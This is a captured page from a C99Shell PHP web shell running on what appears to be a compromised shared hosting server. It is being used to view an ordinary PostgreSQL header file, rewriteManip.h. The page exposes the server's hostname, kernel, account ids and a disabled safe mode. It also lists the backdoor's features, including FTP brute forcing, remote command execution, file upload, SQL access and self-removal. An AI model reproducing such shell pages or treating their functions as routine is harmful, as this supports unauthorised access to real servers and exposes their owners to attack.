!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/alt/postgresql11/usr/include/pgsql/server/rewrite/   drwxr-xr-x
Free 201.53 GB of 981.82 GB (20.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rewriteManip.h (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * rewriteManip.h
 *        Querytree manipulation subroutines for query rewriter.
 *
 *
 * Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/rewrite/rewriteManip.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef REWRITEMANIP_H
#define REWRITEMANIP_H

#include "nodes/parsenodes.h"


typedef struct replace_rte_variables_context replace_rte_variables_context;

typedef Node *(*replace_rte_variables_callback) (Var *var,
                                     replace_rte_variables_context *context);

struct replace_rte_variables_context
{
    replace_rte_variables_callback callback;    /* callback function */
    void       *callback_arg;    /* context data for callback function */
    int            target_varno;    /* RTE index to search for */
    int            sublevels_up;    /* (current) nesting depth */
    bool        inserted_sublink;        /* have we inserted a SubLink? */
};


extern void OffsetVarNodes(Node *node, int offset, int sublevels_up);
extern void ChangeVarNodes(Node *node, int old_varno, int new_varno,
               int sublevels_up);
extern void IncrementVarSublevelsUp(Node *node, int delta_sublevels_up,
                        int min_sublevels_up);
extern void IncrementVarSublevelsUp_rtable(List *rtable,
                               int delta_sublevels_up, int min_sublevels_up);

extern bool rangeTableEntry_used(Node *node, int rt_index,
                     int sublevels_up);
extern bool attribute_used(Node *node, int rt_index, int attno,
               int sublevels_up);

extern Query *getInsertSelectQuery(Query *parsetree, Query ***subquery_ptr);

extern void AddQual(Query *parsetree, Node *qual);
extern void AddInvertedQual(Query *parsetree, Node *qual);

extern bool contain_aggs_of_level(Node *node, int levelsup);
extern int    locate_agg_of_level(Node *node, int levelsup);
extern int    locate_windowfunc(Node *node);
extern bool checkExprHasAggs(Node *node);
extern bool checkExprHasWindowFuncs(Node *node);
extern bool checkExprHasSubLink(Node *node);

extern Node *replace_rte_variables(Node *node,
                      int target_varno, int sublevels_up,
                      replace_rte_variables_callback callback,
                      void *callback_arg,
                      bool *outer_hasSubLinks);
extern Node *replace_rte_variables_mutator(Node *node,
                              replace_rte_variables_context *context);

extern Node *map_variable_attnos(Node *node,
                    int target_varno, int sublevels_up,
                    const AttrNumber *attno_map, int map_length,
                    bool *found_whole_row);

extern Node *ResolveNew(Node *node, int target_varno, int sublevels_up,
           RangeTblEntry *target_rte,
           List *targetlist, int event, int update_varno,
           bool *outer_hasSubLinks);

#endif   /* REWRITEMANIP_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0525 ]--